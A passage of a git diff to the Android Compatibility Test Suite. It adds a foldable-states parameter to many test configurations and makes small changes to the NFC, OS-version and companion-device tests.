         <option name="test-file-name" value="CtsNetSecPolicyUsesCleartextTrafficTrue.apk" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
index c3dbcb8..76e3e63 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecPolicyUsesCleartextTrafficUnspecified.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
index 3408d55..80c4146 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigAttributeTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
index bebda23..85e4d5b 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigBasicDomainConfigTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml
index 030e2c9..94381ba 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigPrePCleartextTrafficTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
index 9e72c7d..4196d96 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigCleartextTrafficTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
index 29c13fe..3a25660 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigBasicDebugDisabledTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
index 5b37c84..8cf1485 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigBasicDebugEnabledTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
index d612a7e..7e29e7f 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigDownloadManagerTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
index bf10bcd..b26f1fe 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigInvalidPinTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
index cbbfeb8..49d8a0d 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigNestedDomainConfigTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidTest.xml
index 5f0da66..5039d54 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigResourcesSrcTestCases.apk" />
diff --git a/tests/tests/neuralnetworks/AndroidTest.xml b/tests/tests/neuralnetworks/AndroidTest.xml
index b89d563..6bf60de 100644
--- a/tests/tests/neuralnetworks/AndroidTest.xml
+++ b/tests/tests/neuralnetworks/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="mainline-param" value="com.google.android.neuralnetworks.apex" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
@@ -29,11 +30,10 @@
         <option name="native-test-device-path" value="/data/local/tmp" />
         <option name="module-name" value="CtsNNAPITestCases" />
         <option name="runtime-hint" value="10m" />
-        <!-- test-timeout unit is ms, value = 20 min (previous 10min was timing out 
+        <!-- test-timeout unit is ms, value = 20 min (previous 10min was timing out
              in code coverage evaluations) -->
         <option name="native-test-timeout" value="1200000" />
     </test>
-
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
         <option name="mainline-module-package-name" value="com.google.android.neuralnetworks" />
     </object>
diff --git a/tests/tests/neuralnetworks/benchmark/AndroidTest.xml b/tests/tests/neuralnetworks/benchmark/AndroidTest.xml
index 3ca1791..f8d6c2e 100644
--- a/tests/tests/neuralnetworks/benchmark/AndroidTest.xml
+++ b/tests/tests/neuralnetworks/benchmark/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNNAPIBenchmarkTestCases.apk" />
diff --git a/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyTest.java b/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyTest.java
index c6ad0dc..1851b36 100644
--- a/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyTest.java
+++ b/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyTest.java
@@ -22,6 +22,7 @@
 import android.util.Pair;
 
 import androidx.test.filters.LargeTest;
+import androidx.test.filters.RequiresDevice;
 import androidx.test.rule.ActivityTestRule;
 
 import com.android.nn.benchmark.core.BenchmarkException;
@@ -91,6 +92,7 @@
     }
 
     @Test
+    @RequiresDevice
     @LargeTest
     public void testNNAPI() throws BenchmarkException, IOException {
         List<String> accelerators = new ArrayList<>();
diff --git a/tests/tests/neuralnetworks/java_test/AndroidTest.xml b/tests/tests/neuralnetworks/java_test/AndroidTest.xml
index f881e59..5016e7a 100644
--- a/tests/tests/neuralnetworks/java_test/AndroidTest.xml
+++ b/tests/tests/neuralnetworks/java_test/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNNAPIJavaTestCases.apk" />
diff --git a/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml b/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml
index 1affa18..e56f22c 100644
--- a/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml
+++ b/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsTfliteNnapiDelegateTestCases->/data/local/tmp/CtsTfliteNnapiDelegateTestCases" />
diff --git a/tests/tests/nfc/AndroidTest.xml b/tests/tests/nfc/AndroidTest.xml
index cf798ff..b5b1527 100644
--- a/tests/tests/nfc/AndroidTest.xml
+++ b/tests/tests/nfc/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
diff --git a/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java b/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java
index f25be15..c769a09 100644
--- a/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java
+++ b/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java
@@ -48,6 +48,9 @@
     private static final ComponentName CtsNfcTestService =
             new ComponentName("android.nfc.cts", "android.nfc.cts.CtsMyHostApduService");
 
+    private static final int MAX_TIMEOUT_MS = 5000;
+    private static final int TEST_DURATION_MS = 100;
+
     private NfcAdapter mAdapter;
     private CardEmulation mCardEmulation;
     private Context mContext;
@@ -67,6 +70,7 @@
         Settings.Secure.putString(mContext.getContentResolver(),
                 NFC_PAYMENT_DEFAULT_COMPONENT,
                 CtsNfcTestService.flattenToString());
+        waitPreferredPaymentSettingDone();
     }
 
     @After
@@ -146,4 +150,29 @@
             fail("Unexpected Exception " + e);
         }
     }
+
+    public void waitPreferredPaymentSettingDone() {
+        try {
+            for (int i = 0; i < MAX_TIMEOUT_MS / TEST_DURATION_MS; i++) {
+                CharSequence description =
+                        mCardEmulation.getDescriptionForPreferredPaymentService();
+
+                if (description != null && description.toString().equals(mDescription)) return;
+
+                msleep(TEST_DURATION_MS);
+            }
+
+            fail("Unable to set the preferred payment service");
+        } catch (Exception e) {
+            fail("Unexpected Exception " + e);
+        }
+    }
+
+    private void msleep(int millis) {
+        try {
+            Thread.sleep(millis);
+        } catch (InterruptedException e) {
+            fail("Unexpected Exception " + e);
+        }
+    }
 }
diff --git a/tests/tests/opengl/AndroidTest.xml b/tests/tests/opengl/AndroidTest.xml
index 487687c..7d40fa2 100644
--- a/tests/tests/opengl/AndroidTest.xml
+++ b/tests/tests/opengl/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsOpenGLTestCases.apk" />
diff --git a/tests/tests/openglperf/AndroidTest.xml b/tests/tests/openglperf/AndroidTest.xml
index 7ce5a95..0d4b89a 100644
--- a/tests/tests/openglperf/AndroidTest.xml
+++ b/tests/tests/openglperf/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp
index 3068f9f..43dfba1 100644
--- a/tests/tests/os/Android.bp
+++ b/tests/tests/os/Android.bp
@@ -28,6 +28,7 @@
         "androidx.test.core",
         "androidx.test.ext.junit",
         "androidx.test.rules",
+        "androidx.test.uiautomator",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "testng",
@@ -70,5 +71,5 @@
     ],
     // Do not compress minijail policy files.
     aaptflags: ["-0 .policy"],
-    min_sdk_version : "29"
+    min_sdk_version: "29",
 }
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index fb3ad25..6cc3469 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -56,6 +56,7 @@
     <uses-permission android:name="android.permission.MANAGE_COMPANION_DEVICES"/>
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+    <uses-permission android:name="android.permission.INTERNAL_SYSTEM_WINDOW"/>
     <uses-permission android:name="android.os.cts.permission.TEST_GRANTED"/>
 
     <application android:usesCleartextTraffic="true"
@@ -176,6 +177,12 @@
         <service android:name="android.os.cts.IntentLaunchService"
              android:exported="true" />
 
+        <service android:name="android.os.cts.StrictModeTest$TestService"
+             android.exported="true" />
+
+        <service android:name="android.os.cts.StrictModeTest$TestWindowService"
+             android.exported="true" />
+
         <receiver android:name="android.os.cts.IntentLaunchReceiver"
             android:exported="true" />
 
diff --git a/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt
index 042224a..7da630e 100644
--- a/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt
+++ b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt
@@ -53,7 +53,10 @@
     val notificationsStatus by lazy { TextView(this) }
     val bypassStatus by lazy { TextView(this) }
 
-    val nameFilter by lazy { EditText(this).apply { hint = "Name Filter" } }
+    val nameFilter by lazy { EditText(this).apply {
+        hint = "Name Filter"
+        contentDescription = "name filter" // Do not change: used in the tests.
+    } }
     val singleCheckbox by lazy { CheckBox(this).apply { text = "Single Device" } }
     val watchCheckbox by lazy { CheckBox(this).apply { text = "Watch" } }
 
diff --git a/tests/tests/os/UffdGc/AndroidTest.xml b/tests/tests/os/UffdGc/AndroidTest.xml
index 48e9869..3010bfa 100644
--- a/tests/tests/os/UffdGc/AndroidTest.xml
+++ b/tests/tests/os/UffdGc/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Runs CTS tests of userfaultfd-based GC.">
     <option name="config-descriptor:metadata" key="component" value="art" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="test-suite-tag" value="cts" />
diff --git a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
index b537489..5ebe92c 100644
--- a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
+++ b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
@@ -39,8 +39,8 @@
   @Before
   public void setUp() {
       boolean mShouldRunTest = !(FeatureUtil.isAutomotive()
-              && ApiLevelUtil.isAtMost(VERSION_CODES.S));
-      Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S", mShouldRunTest);
+              && ApiLevelUtil.isAtMost(VERSION_CODES.S_V2));
+      Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S_V2", mShouldRunTest);
       Assume.assumeTrue("Skip userfaultfd tests on kernels lower than 5.4", confirmKernelVersion());
   }
 
diff --git a/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt b/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
index cfd62fb..7311878 100644
--- a/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
+++ b/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
@@ -31,6 +31,7 @@
 import android.provider.Settings
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.BySelector
+import android.support.test.uiautomator.UiDevice
 import android.support.test.uiautomator.UiObject2
 import android.support.test.uiautomator.UiScrollable
 import android.support.test.uiautomator.UiSelector
@@ -185,7 +186,9 @@
 
                 // Settings can have multiple scrollable containers so all of them should be
                 // searched.
-                var toggleFound = false
+                var toggleFound = UiDevice.getInstance(instrumentation)
+                    .findObject(UiSelector().text(title))
+                    .waitForExists(WAIT_TIME_MS)
                 var i = 0
                 var scrollableObject = UiScrollable(UiSelector().scrollable(true).instance(i))
                 while (!toggleFound && scrollableObject.waitForExists(WAIT_TIME_MS)) {
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index 51da24c..070cc44 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -36,7 +36,7 @@
 public class BuildVersionTest extends TestCase {
 
     private static final String LOG_TAG = "BuildVersionTest";
-    private static final int EXPECTED_SDK = 31;
+    private static final int EXPECTED_SDK = 32;
     private static final String EXPECTED_BUILD_VARIANT = "user";
     private static final String EXPECTED_KEYS = "release-keys";
     private static final String PLATFORM_RELEASES_FILE = "platform_releases.txt";
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index ee2ab83..b0307f1 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -16,11 +16,12 @@
 
 package android.os.cts
 
+import android.app.Instrumentation
 import android.companion.CompanionDeviceManager
 import android.content.pm.PackageManager
 import android.content.pm.PackageManager.FEATURE_AUTOMOTIVE
-import android.content.pm.PackageManager.FEATURE_LEANBACK
 import android.content.pm.PackageManager.FEATURE_COMPANION_DEVICE_SETUP
+import android.content.pm.PackageManager.FEATURE_LEANBACK
 import android.content.pm.PackageManager.PERMISSION_GRANTED
 import android.net.MacAddress
 import android.os.Binder
@@ -28,18 +29,17 @@
 import android.os.Parcelable
 import android.os.UserHandle
 import android.platform.test.annotations.AppModeFull
-import android.test.InstrumentationTestCase
 import android.util.Size
 import android.util.SizeF
 import android.util.SparseArray
-import android.view.accessibility.AccessibilityNodeInfo
-import android.view.accessibility.AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE
-import android.view.accessibility.AccessibilityNodeInfo.ACTION_SET_TEXT
-import android.widget.EditText
 import android.widget.TextView
 import androidx.test.InstrumentationRegistry
 import androidx.test.runner.AndroidJUnit4
-import com.android.compatibility.common.util.MatcherUtils
+import androidx.test.uiautomator.By
+import androidx.test.uiautomator.BySelector
+import androidx.test.uiautomator.UiDevice
+import androidx.test.uiautomator.UiObject2
+import androidx.test.uiautomator.Until
 import com.android.compatibility.common.util.MatcherUtils.hasIdThat
 import com.android.compatibility.common.util.SystemUtil.eventually
 import com.android.compatibility.common.util.SystemUtil.getEventually
@@ -50,66 +50,52 @@
 import com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject
 import com.android.compatibility.common.util.children
 import com.android.compatibility.common.util.click
-import org.hamcrest.CoreMatchers.`is`
+import java.io.Serializable
 import org.hamcrest.CoreMatchers.containsString
-import org.hamcrest.CoreMatchers.equalTo
-import org.hamcrest.Matcher
 import org.hamcrest.Matchers.empty
 import org.hamcrest.Matchers.not
+import org.junit.After
+import org.junit.Assert.assertFalse
 import org.junit.Assert.assertThat
+import org.junit.Assert.assertTrue
 import org.junit.Assume.assumeFalse
 import org.junit.Assume.assumeTrue
 import org.junit.Before
-import org.junit.After
 import org.junit.Test
 import org.junit.runner.RunWith
-import java.io.Serializable
-
-const val COMPANION_APPROVE_WIFI_CONNECTIONS =
-        "android.permission.COMPANION_APPROVE_WIFI_CONNECTIONS"
-const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10"
-const val MANAGE_COMPANION_DEVICES = "android.permission.MANAGE_COMPANION_DEVICES"
-const val SHELL_PACKAGE_NAME = "com.android.shell"
-const val TEST_APP_PACKAGE_NAME = "android.os.cts.companiontestapp"
-const val TEST_APP_APK_LOCATION = "/data/local/tmp/cts/os/CtsCompanionTestApp.apk"
-val InstrumentationTestCase.context get() = InstrumentationRegistry.getTargetContext()
 
 /**
  * Test for [CompanionDeviceManager]
  */
 @RunWith(AndroidJUnit4::class)
-class CompanionDeviceManagerTest : InstrumentationTestCase() {
-
-    val cdm: CompanionDeviceManager by lazy {
-        context.getSystemService(CompanionDeviceManager::class.java)
+class CompanionDeviceManagerTest {
+    companion object {
+        const val COMPANION_APPROVE_WIFI_CONNECTIONS =
+                "android.permission.COMPANION_APPROVE_WIFI_CONNECTIONS"
+        const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10"
+        const val MANAGE_COMPANION_DEVICES = "android.permission.MANAGE_COMPANION_DEVICES"
+        const val SHELL_PACKAGE_NAME = "com.android.shell"
+        const val TEST_APP_PACKAGE_NAME = "android.os.cts.companiontestapp"
+        const val TEST_APP_APK_LOCATION = "/data/local/tmp/cts/os/CtsCompanionTestApp.apk"
     }
-    val pm: PackageManager by lazy { context.packageManager }
+
+    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+    private val uiDevice = UiDevice.getInstance(instrumentation)
+    private val context = instrumentation.targetContext
+    private val userId = context.userId
+    private val packageName = context.packageName!!
+
+    private val pm: PackageManager by lazy { context.packageManager }
     private val hasFeatureCompanionDeviceSetup: Boolean by lazy {
         pm.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP)
     }
+
+    private val cdm: CompanionDeviceManager by lazy {
+        context.getSystemService(CompanionDeviceManager::class.java)
+    }
     private val isAuto: Boolean by lazy { pm.hasSystemFeature(FEATURE_AUTOMOTIVE) }
     private val isTV: Boolean by lazy { pm.hasSystemFeature(FEATURE_LEANBACK) }
 
-    private fun isShellAssociated(macAddress: String, packageName: String): Boolean {
-        val userId = context.userId
-        return runShellCommand("cmd companiondevice list $userId")
-                .lines()
-                .any {
-                    packageName in it && macAddress in it
-                }
-    }
-
-    private fun isCdmAssociated(
-        macAddress: String,
-        packageName: String,
-        vararg permissions: String
-    ): Boolean {
-        return runWithShellPermissionIdentity(ThrowingSupplier {
-            cdm.isDeviceAssociatedForWifiConnection(packageName,
-                    MacAddress.fromString(macAddress), context.user)
-        }, *permissions)
-    }
-
     @Before
     fun assumeHasFeature() {
         assumeTrue(hasFeatureCompanionDeviceSetup)
@@ -118,27 +104,26 @@
     }
 
     @After
-    fun removeAllAssociations() {
+    fun cleanUp() {
         // If the devices does not have the feature or is an Auto, the test didn't run, and the
         // clean up is not needed (will actually crash if the feature is missing).
         // See assumeHasFeature @Before method.
         if (!hasFeatureCompanionDeviceSetup || isAuto) return
 
-        val userId = context.userId
+        // Remove associations
         val associations = getAssociatedDevices(TEST_APP_PACKAGE_NAME)
-
         for (address in associations) {
             runShellCommandOrThrow(
                     "cmd companiondevice disassociate $userId $TEST_APP_PACKAGE_NAME $address")
         }
+
+        // Uninstall test app
+        uninstallAppWithoutAssertion(TEST_APP_PACKAGE_NAME)
     }
 
     @AppModeFull(reason = "Companion API for non-instant apps only")
     @Test
     fun testIsDeviceAssociated() {
